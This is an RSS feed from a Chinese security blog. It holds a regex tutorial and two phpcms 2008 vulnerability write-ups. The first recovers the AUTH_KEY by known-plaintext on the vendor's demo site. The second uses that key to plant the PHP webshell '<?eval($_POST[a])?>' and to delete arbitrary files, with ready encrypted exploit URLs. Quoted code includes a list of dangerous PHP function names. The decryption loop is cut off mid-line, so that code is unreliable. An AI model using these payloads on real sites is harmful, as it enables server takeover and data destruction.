<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; 代码审计</title>
	<atom:link href="http://www.0x50sec.org/category/code-audits/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>半小时精通正则表达式</title>
		<link>http://www.0x50sec.org/%e5%8d%8a%e5%b0%8f%e6%97%b6%e7%b2%be%e9%80%9a%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f/</link>
		<comments>http://www.0x50sec.org/%e5%8d%8a%e5%b0%8f%e6%97%b6%e7%b2%be%e9%80%9a%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f/#comments</comments>
		<pubDate>Thu, 12 May 2011 09:21:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[正则表达式]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1100</guid>
		<description><![CDATA[来源:http://hi.baidu.com/myvbscript/blog/item/3622d3fd684aaf45d7887d52.html 跟我学正则表达式! 想必很多人都对正则表达式都头疼.今天,我以我的认识,加上网上一些文章,希望用常人都可以理解的表达方式.来和大家分享学习经验. 开篇,还是得说说 ^  和  $  他们是分别用来匹配字符串的开始和结束，以下分别举例说明 &#8220;^The&#8221;: 开头一定要有&#8221;The&#8221;字符串; &#8220;of despair$&#8221;:  结尾一定要有&#8221;of despair&#8221; 的字符串; 那么, &#8220;^abc$&#8221;: 就是要求以abc开头和以abc结尾的字符串，实际上是只有abc匹配 &#8220;notice&#8221;: 匹配包含notice的字符串 你可以看见如果你没有用我们提到的两个字符（最后一个例子），就是说 模式（正则表达式） 可以出现在被检验字符串的任何地方，你没有把他锁定到两边 接着,说说 &#8216;*&#8217;, &#8216;+&#8217;,和 &#8216;?&#8217;, 他们用来表示一个字符可以出现的次数或者顺序. 他们分别表示： &#8220;zero or more&#8221;相当于{0,}, &#8220;one or more&#8221;相当于{1,}, &#8220;zero or one.&#8221;相当于{0,1},  这里是一些例子: &#8220;ab*&#8221;:  和ab{0,}同义,匹配以a开头,后面可以接0个或者N个b组成的字符串(&#8220;a&#8221;, &#8220;ab&#8221;, &#8220;abbb&#8221;, 等); &#8220;ab+&#8221;: 和ab{1,}同义,同上条一样，但最少要有一个b存在 (&#8220;ab&#8221;, &#8220;abbb&#8221;, 等.); &#8220;ab?&#8221;:和ab{0,1}同义,可以没有或者只有一个b; &#8220;a?b+$&#8221;: 匹配以一个或者0个a再加上一个以上的b结尾的字符串. 要点, &#8216;*&#8217;, &#8216;+&#8217;,和 [...]]]></description>
			<content:encoded><![CDATA[<p>来源:http://hi.baidu.com/myvbscript/blog/item/3622d3fd684aaf45d7887d52.html</p>
<p>跟我学正则表达式!</p>
<p>想必很多人都对正则表达式都头疼.今天,我以我的认识,加上网上一些文章,希望用常人都可以理解的表达方式.来和大家分享学习经验.</p>
<p>开篇,还是得说说 ^  和  $  他们是分别用来匹配字符串的开始和结束，以下分别举例说明</p>
<p>&#8220;^The&#8221;: 开头一定要有&#8221;The&#8221;字符串;<br />
&#8220;of despair$&#8221;:  结尾一定要有&#8221;of despair&#8221; 的字符串;</p>
<p>那么,<br />
&#8220;^abc$&#8221;: 就是要求以abc开头和以abc结尾的字符串，实际上是只有abc匹配<br />
&#8220;notice&#8221;: 匹配包含notice的字符串</p>
<p>你可以看见如果你没有用我们提到的两个字符（最后一个例子），就是说 模式（正则表达式） 可以出现在被检验字符串的任何地方，你没有把他锁定到两边</p>
<p>接着,说说 &#8216;*&#8217;, &#8216;+&#8217;,和 &#8216;?&#8217;,<br />
他们用来表示一个字符可以出现的次数或者顺序. 他们分别表示：<br />
&#8220;zero or more&#8221;相当于{0,},<br />
&#8220;one or more&#8221;相当于{1,},<br />
&#8220;zero or one.&#8221;相当于{0,1},  这里是一些例子:</p>
<p>&#8220;ab*&#8221;:  和ab{0,}同义,匹配以a开头,后面可以接0个或者N个b组成的字符串(&#8220;a&#8221;, &#8220;ab&#8221;, &#8220;abbb&#8221;, 等);<br />
&#8220;ab+&#8221;: 和ab{1,}同义,同上条一样，但最少要有一个b存在 (&#8220;ab&#8221;, &#8220;abbb&#8221;, 等.);<br />
&#8220;ab?&#8221;:和ab{0,1}同义,可以没有或者只有一个b;<br />
&#8220;a?b+$&#8221;: 匹配以一个或者0个a再加上一个以上的b结尾的字符串.</p>
<p>要点, &#8216;*&#8217;, &#8216;+&#8217;,和 &#8216;?&#8217;只管它前面那个字符.<br />
<span id="more-1100"></span></p>
<p>你也可以在大括号里面限制字符出现的个数，比如</p>
<p>&#8220;ab{2}&#8221;: 要求a后面一定要跟两个b（一个也不能少）(&#8220;abb&#8221;);<br />
&#8220;ab{2,}&#8221;: 要求a后面一定要有两个或者两个以上b(如&#8221;abb&#8221;, &#8220;abbbb&#8221;, 等.);<br />
&#8220;ab{3,5}&#8221;: 要求a后面可以有2－5个b(&#8220;abbb&#8221;, &#8220;abbbb&#8221;, or &#8220;abbbbb&#8221;).</p>
<p>现在我们把一定几个字符放到小括号里，比如：</p>
<p>&#8220;a(bc)*&#8221;: 匹配 a 后面跟0个或者一个&#8221;bc&#8221;;<br />
&#8220;a(bc){1,5}&#8221;: 一个到5个 &#8220;bc.&#8221;</p>
<p>还有一个字符 &#8216;│&#8217;, 相当于OR 操作:</p>
<p>&#8220;hi│hello&#8221;: 匹配含有&#8221;hi&#8221; 或者 &#8220;hello&#8221; 的 字符串;<br />
&#8220;(b│cd)ef&#8221;: 匹配含有 &#8220;bef&#8221; 或者 &#8220;cdef&#8221;的字符串;<br />
&#8220;(a│b)*c&#8221;: 匹配含有这样多个（包括0个）a或b，后面跟一个c<br />
的字符串;</p>
<p>一个点(&#8216;.&#8217;)可以代表所有的单一字符,不包括&#8221;\n&#8221;</p>
<p>如果,要匹配包括&#8221;\n&#8221;在内的所有单个字符,怎么办?</p>
<p>对了,用&#8217;[\n.]&#8216;这种模式.</p>
<p>&#8220;a.[0-9]&#8220;: 一个a加一个字符再加一个0到9的数字<br />
&#8220;^.{3}$&#8221;: 三个任意字符结尾 .</p>
<p>中括号括住的内容只匹配一个单一的字符</p>
<p>&#8220;[ab]&#8220;: 匹配单个的 a 或者 b ( 和 &#8220;a│b&#8221; 一样);<br />
&#8220;[a-d]&#8220;: 匹配&#8217;a&#8217; 到&#8217;d'的单个字符 (和&#8221;a│b│c│d&#8221; 还有 &#8220;[abcd]&#8220;效果一样); 一般我们都用[a-zA-Z]来指定字符为一个大小写英文<br />
&#8220;^[a-zA-Z]&#8220;: 匹配以大小写字母开头的字符串<br />
&#8220;[0-9]%&#8221;: 匹配含有 形如 x％ 的字符串<br />
&#8220;,[a-zA-Z0-9]$&#8221;: 匹配以逗号再加一个数字或字母结尾的字符串</p>
<p>你也可以把你不想要得字符列在中括号里，你只需要在总括号里面使用&#8217;^&#8217; 作为开头 &#8220;%[^a-zA-Z]%&#8221; 匹配含有两个百分号里面有一个非字母的字符串.</p>
<p>要点:^用在中括号开头的时候,就表示排除括号里的字符</p>
<p>为了PHP能够解释，你必须在这些字符面前后加&#8221;,并且将一些字符转义.</p>
<p>不要忘记在中括号里面的字符是这条规路的例外—在中括号里面, 所有的特殊字符，包括(&#8221;), 都将失去他们的特殊性质 &#8220;[*\+?{}.]&#8220;匹配含有这些字符的字符串.</p>
<p>还有,正如regx的手册告诉我们: &#8220;如果列表里含有 &#8216;]&#8217;, 最好把它作为列表里的第一个字符(可能跟在&#8217;^'后面). 如果含有&#8217;-', 最好把它放在最前面或者最后面, or 或者一个范围的第二个结束点[a-d-0-9]中间的‘-’将有效.</p>
<p>看了上面的例子,你对{n,m}应该理解了吧.要注意的是,n和m都不能为负整数,而且n总是小于m. 这样,才能 最少匹配n次且最多匹配m次. 如&#8221;p{1,5}&#8221;将匹配 &#8220;pvpppppp&#8221;中的前五个p</p>
<p>下面说说以\开头的</p>
<p>\b 书上说他是用来匹配一个单词边界,就是&#8230;比如&#8217;ve\b&#8217;,可以匹配love里的ve而不匹配very里有ve</p>
<p>\B 正好和上面的\b相反.例子我就不举了</p>
<p>&#8230;..突然想起来&#8230;.可以到http://www.phpv.net/article.php/251 看看其它用\ 开头的语法</p>
<p>好,我们来做个应用:</p>
<p>如何构建一个模式来匹配 货币数量 的输入</p>
<p>构建一个匹配模式去检查输入的信息是否为一个表示money的数字。我们认为一个表示money的数量有四种方式： &#8220;10000.00&#8243; 和 &#8220;10,000.00&#8243;,或者没有小数部分, &#8220;10000&#8243; and &#8220;10,000&#8243;. 现在让我们开始构建这个匹配模式:</p>
<p>^[1-9][0-9]*$</p>
<p>这是所变量必须以非0的数字开头.但这也意味着 单一的 &#8220;0&#8243; 也不能通过测试. 以下是解决的方法:</p>
<p>^(0│[1-9][0-9]*)$</p>
<p>&#8220;只有0和不以0开头的数字与之匹配&#8221;，我们也可以允许一个负号在数字之前:</p>
<p>^(0│-?[1-9][0-9]*)$</p>
<p>这就是: &#8220;0 或者 一个以0开头 且可能 有一个负号在前面的数字.&#8221; 好了,现在让我们别那么严谨，允许以0开头.现在让我们放弃 负号 , 因为我们在表示钱币的时候并不需要用到. 我们现在指定 模式 用来匹配小数部分:</p>
<p>^[0-9]+(\.[0-9]+)?$</p>
<p>这暗示匹配的字符串必须最少以一个阿拉伯数字开头. 但是注意，在上面模式中 &#8220;10.&#8221; 是不匹配的, 只有 &#8220;10&#8243; 和 &#8220;10.2&#8243; 才可以. （你知道为什么吗）</p>
<p>^[0-9]+(\.[0-9]{2})?$</p>
<p>我们上面指定小数点后面必须有两位小数.如果你认为这样太苛刻,你可以改成:</p>
<p>^[0-9]+(\.[0-9]{1,2})?$</p>
<p>这将允许小数点后面有一到两个字符. 现在我们加上用来增加可读性的逗号（每隔三位）, 我们可以这样表示:</p>
<p>^[0-9]{1,3}(,[0-9]{3})*(\.[0-9]{1,2})?$</p>
<p>不要忘记 &#8216;+&#8217; 可以被 &#8216;*&#8217; 替代 如果你想允许空白字符串被输入话 (为什么?). 也不要忘记反斜杆 ’\’ 在php字符串中可能会出现错误 (很普遍的错误).</p>
<p>现在，我们已经可以确认字符串了, 我们现在把所有逗号都去掉 str_replace(&#8220;,&#8221;, &#8220;&#8221;, $money) 然后在把类型看成 double然后我们就可以通过他做数学计算了.</p>
<p>再来一个:</p>
<p>构造检查email的正则表达式</p>
<p>在一个完整的email地址中有三个部分:<br />
1. 用户名 (在 &#8216;@&#8217; 左边的一切),<br />
2.&#8217;@',<br />
3. 服务器名(就是剩下那部分).</p>
<p>用户名可以含有大小写字母阿拉伯数字,句号 (&#8216;.&#8217;), 减号(&#8216;-&#8217;), and 下划线 (&#8216;_&#8217;). 服务器名字也是符合这个规则,当然下划线除外.</p>
<p>现在, 用户名的开始和结束都不能是句点. 服务器也是这样. 还有你不能有两个连续的句点他们之间至少存在一个字符，好现在我们来看一下怎么为用户名写一个匹配模式:</p>
<p>^[_a-zA-Z0-9-]+$</p>
<p>现在还不能允许句号的存在. 我们把它加上:</p>
<p>^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*$</p>
<p>上面的意思就是说: &#8220;以至少一个规范字符（除了.）开头,后面跟着0个或者多个以点开始的字符串.&#8221;</p>
<p>简单化一点, 我们可以用 eregi()取代 ereg().eregi()对大小写不敏感, 我们就不需要指定两个范围 &#8220;a-z&#8221; 和 &#8220;A-Z&#8221; – 只需要指定一个就可以了:</p>
<p>^[_a-z0-9-]+(\.[_a-z0-9-]+)*$</p>
<p>后面的服务器名字也是一样,但要去掉下划线:</p>
<p>^[a-z0-9-]+(\.[a-z0-9-]+)*$</p>
<p>好. 现在只需要用”@”把两部分连接:</p>
<p>^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$</p>
<p>这就是完整的email认证匹配模式了,只需要调用</p>
<p>eregi(‘^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$ ’,$eamil)</p>
<p>就可以得到是否为email了<br />
正则表达式的其他用法</p>
<p>提取字符串</p>
<p>ereg() and eregi() 有一个特性是允许用户通过正则表达式去提取字符串的一部分(具体用法你可以阅读手册). 比如说,我们想从 path/URL 提取文件名 – 下面的代码就是你需要:</p>
<p>ereg(&#8220;([^\\/]*)$&#8221;, $pathOrUrl, $regs);<br />
echo $regs[1];</p>
<p>高级的代换</p>
<p>ereg_replace() 和 eregi_replace()也是非常有用的: 假如我们想把所有的间隔负号都替换成逗号:</p>
<p>ereg_replace(&#8220;[ \n\r\t]+&#8221;, &#8220;,&#8221;, trim($str));</p>
<p>最后,我把另一串检查EMAIL的正则表达式让看文章的你来分析一下.</p>
<p>&#8220;^[-!#$%&amp;\'*+\\./0-9=?A-Z^_`a-z{|}~]+&#8217;.'@&#8217;.&#8217;[-!#$%&amp;\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.&#8217;.&#8217;[-!#$%&amp;\'*+\\./0-9=?A-Z^_`a-z{|}~]+$&#8221;</p>
<p>如果能方便的读懂,那这篇文章的目的就达到了.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e5%8d%8a%e5%b0%8f%e6%97%b6%e7%b2%be%e9%80%9a%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 10:54:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>
		<category><![CDATA[phpcms_auth]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1072</guid>
		<description><![CDATA[phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞 phpcms又一个鸡肋。 by c4rp3nt3r@0x50sec.org phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。 而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。 《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795 已经说明了两个破解&#8221;phpcms_auth函数的加密密钥AUTH_KEY&#8221;的方法，但是还不是很理想，最理想的是直接给我们足够的明文和密文。 是的开放的phpcms真的给我们这样的了，没有保留。 上一篇说到&#8221;破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。&#8221; 其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。 来看magic_image函数，主要作用就是将字符串生成一个图片，这样做应该是为了防止别人采集网站上的数据，或者是防止泄漏隐私。 // include global.fun.php function magic_image($txt, $fonttype = 4) { if(empty($txt)) return false; if(function_exists(&#8220;imagepng&#8221;)) { $txt = urlencode(phpcms_auth($txt, &#8216;ENCODE&#8217;, AUTH_KEY)); $txt = &#8216;&#8216;; } return $txt; } 在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。 发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密，显示给用户的时候又会调用magic_image.php文件，对字符串解密并进行生成图片。 就是说： 我们可以自定义明文 并且我们也可以得到明文加密后的密文 这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可)，不费什么力气。 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 举例说明 1.在http://demo.phpcms.cn随便注册个普通用户会员 2.在跳蚤市场那 http://demo.phpcms.cn/info/sale/ 随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22 随便发一条信息 使用邮箱为 mailc4rp3nt3r@gmail.com [...]]]></description>
			<content:encoded><![CDATA[<p>phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞<br />
phpcms又一个鸡肋。<br />
by c4rp3nt3r@0x50sec.org</p>
<p>phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。<br />
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。</p>
<p>《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795<br />
已经说明了两个破解&#8221;phpcms_auth函数的加密密钥AUTH_KEY&#8221;的方法，但是还不是很理想，最理想的是直接给我们足够的明文和密文。<br />
是的开放的phpcms真的给我们这样的了，没有保留。</p>
<p>上一篇说到&#8221;破解了这个函数之后，一方面反而更加不安全了，另一方面所有建立在这个函数之上的机制可能都会受到攻击。&#8221;<br />
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。<br />
来看magic_image函数，主要作用就是将字符串生成一个图片，这样做应该是为了防止别人采集网站上的数据，或者是防止泄漏隐私。<br />
<code><br />
// include global.fun.php</code></p>
<p>function magic_image($txt, $fonttype = 4)<br />
{<br />
if(empty($txt)) return false;<br />
if(function_exists(&#8220;imagepng&#8221;))<br />
{<br />
$txt = urlencode(phpcms_auth($txt, &#8216;ENCODE&#8217;, AUTH_KEY));<br />
$txt = &#8216;<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&amp;fonttype='.$fonttype.'&amp;txt='.$txt.'" alt="" align="absMiddle" />&#8216;;<br />
}<br />
return $txt;<br />
}<br />
<span id="more-1072"></span><br />
在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。<br />
发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密，显示给用户的时候又会调用magic_image.php文件，对字符串解密并进行生成图片。<br />
就是说：<br />
我们可以自定义明文<br />
并且我们也可以得到明文加密后的密文</p>
<p>这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可)，不费什么力气。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
举例说明<br />
1.在http://demo.phpcms.cn随便注册个普通用户会员<br />
2.在跳蚤市场那</p>
<p>http://demo.phpcms.cn/info/sale/</p>
<p>随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22<br />
随便发一条信息<br />
使用邮箱为<br />
mailc4rp3nt3r@gmail.com<br />
3.最后找到我们发布的信息:</p>
<p>http://demo.phpcms.cn/2011/0405/366.html</p>
<p>查看邮箱图片的地址</p>
<p>http://demo.phpcms.cn/magic_image.php?gd=1&#038;fonttype=4&#038;txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>好了<br />
明文:mailc4rp3nt3r@gmail.com<br />
密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D</p>
<p>解密一下:<br />
<code>$key="mailc4rp3nt3r@gmail.com";<br />
$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';<br />
$txt=base64_decode(urldecode($txt));</code></p>
<p>for($i=0;$i<br />
运行结果:<br />
$ php /var/www/vul.php<br />
OXdcFVodxAcbCUeTgLBgOXdc</p>
<p>我们的密钥就是：<br />
OXdcFVodxAcbCUeTgLBg</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e7%9a%84%e5%8f%a6%e4%b8%80%e4%b8%aaphpcms_auth%e5%87%bd%e6%95%b0%e7%9a%84%e5%8a%a0%e5%af%86%e5%af%86%e9%92%a5auth_key%e6%b3%84%e6%bc%8f%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 11:17:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1059</guid>
		<description><![CDATA[by c4rp3nt3r@0x50sec.org phpcms2008 sp2 or sp4偶没仔细看 这年头发个bug伤不起啊，厂商忽略，被人当成装X，有木有，心情不爽啊不管这么多了。 phpcms本地包含拿shell的方法，这篇文章接上一个 http://www.wooyun.org/bugs/wooyun-2010-01795 《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》 phpcms本地包含类漏洞，如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。 由于phpcms的全局变量机制，导致能拿shell的方法很多，类似的问题不止一个。 admin/safe.inc.php文件是后台扫木马的程序，但是很可惜的是虽然文件名叫做safe，但是一点也不safe。 公布一个本地包含秒杀拿shell的方法。 包含:admin/safe.inc.php文件GET提交一下数据 将在根目录下生成一句话 用上一篇得到的密钥$key=&#8217;sIpeofogblFVCildZEwe&#8217;; 加密如下字符串 $evil=&#8217;i=1&#38;m=1&#38;f=fuck&#38;action=edit_code&#38;file_path=evil.php&#38;code=&#60;?eval($_POST[a])?&#62;&#38;mod=../../admin/safe.inc.php%00&#8242;; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8= 将在根目录下生成一句话木马 同理任意文件删除漏洞： $evil=&#8217;i=1&#38;m=1&#38;f=fuck&#38;action=del_file&#38;files=robots.txt&#38;mod=../../admin/safe.inc.php%00&#8242;; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw== 贴上存在漏洞的代码 //admin/safe.inc.php &#60;?php defined(&#8216;IN_PHPCMS&#8217;) or exit(&#8216;Access Denied&#8217;); // include/common.inc.php 里面声明了常量 // define(&#8216;IN_PHPCMS&#8217;, TRUE); if(empty($action)) $action = &#8220;start&#8221;; $safe = cache_read(&#8216;safe.php&#8217;); $filecheck = load(&#8216;filecheck.class.php&#8217;); if(empty($safe)) { $safe = array ( &#8216;file_type&#8217; =&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>by c4rp3nt3r@0x50sec.org<br />
phpcms2008 sp2 or sp4偶没仔细看<br />
这年头发个bug伤不起啊，厂商忽略，被人当成装X，有木有，心情不爽啊不管这么多了。</p>
<p>phpcms本地包含拿shell的方法，这篇文章接上一个</p>
<p>http://www.wooyun.org/bugs/wooyun-2010-01795</p>
<p>《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》</p>
<p>phpcms本地包含类漏洞，如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。</p>
<p>由于phpcms的全局变量机制，导致能拿shell的方法很多，类似的问题不止一个。</p>
<p>admin/safe.inc.php文件是后台扫木马的程序，但是很可惜的是虽然文件名叫做safe，但是一点也不safe。</p>
<p>公布一个本地包含秒杀拿shell的方法。</p>
<p>包含:admin/safe.inc.php文件GET提交一下数据</p>
<p>将在根目录下生成一句话<br />
用上一篇得到的密钥$key=&#8217;sIpeofogblFVCildZEwe&#8217;;<br />
加密如下字符串<br />
$evil=&#8217;i=1&amp;m=1&amp;f=fuck&amp;action=edit_code&amp;file_path=evil.php&amp;code=&lt;?eval($_POST[a])?&gt;&amp;mod=../../admin/safe.inc.php%00&#8242;;</p>
<p>http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=</p>
<p>将在根目录下生成一句话木马</p>
<p>同理任意文件删除漏洞：<br />
$evil=&#8217;i=1&amp;m=1&amp;f=fuck&amp;action=del_file&amp;files=robots.txt&amp;mod=../../admin/safe.inc.php%00&#8242;;</p>
<p>http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==</p>
<p><span id="more-1059"></span><br />
贴上存在漏洞的代码<br />
//admin/safe.inc.php<br />
&lt;?php<br />
defined(&#8216;IN_PHPCMS&#8217;) or exit(&#8216;Access Denied&#8217;);<br />
// include/common.inc.php 里面声明了常量<br />
// define(&#8216;IN_PHPCMS&#8217;, TRUE);</p>
<p>if(empty($action)) $action = &#8220;start&#8221;;<br />
$safe = cache_read(&#8216;safe.php&#8217;);<br />
$filecheck = load(&#8216;filecheck.class.php&#8217;);<br />
if(empty($safe))<br />
{<br />
$safe = array (<br />
&#8216;file_type&#8217; =&gt; &#8216;php|js&#8217;,<br />
&#8216;code&#8217; =&gt; &#8221;,<br />
&#8216;func&#8217; =&gt; &#8216;com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress&#8217;,<br />
&#8216;dir&#8217; =&gt; $filecheck-&gt;checked_dirs()<br />
);<br />
}<br />
switch ($action)<br />
{<br />
&#8230;<br />
case &#8216;edit_code&#8217;:<br />
if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))<br />
{<br />
showmessage(&#8216;修改成功！&#8217;);<br />
}<br />
break;</p>
<p>case &#8216;del_file&#8217;:<br />
$file_path = urldecode($files);</p>
<p>if (empty($file_path))<br />
{<br />
showmessage(&#8216;请选择文件&#8217;);<br />
}<br />
$file_list = cache_read(&#8216;scan_backdoor.php&#8217;);<br />
unset($file_list[$file_path]);<br />
cache_write(&#8216;scan_backdoor.php&#8217;,$file_list);<br />
@unlink(PHPCMS_ROOT.$file_path);<br />
showmessage(&#8216;文件删除成功！&#8217;, &#8216;?mod=phpcms&amp;file=safe&amp;action=scan_table&#8217;);<br />
break;<br />
&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms%e6%9c%ac%e5%9c%b0%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%af%bc%e8%87%b4%e7%9a%84%e5%86%99shell%e6%bc%8f%e6%b4%9e%e5%92%8c%e5%88%a0%e9%99%a4%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞</title>
		<link>http://www.0x50sec.org/phpcms%e7%9a%84phpcms_auth%e5%af%bc%e8%87%b4%e7%9a%84%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96-%e6%9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e4%b8%8b%e8%bd%bd/</link>
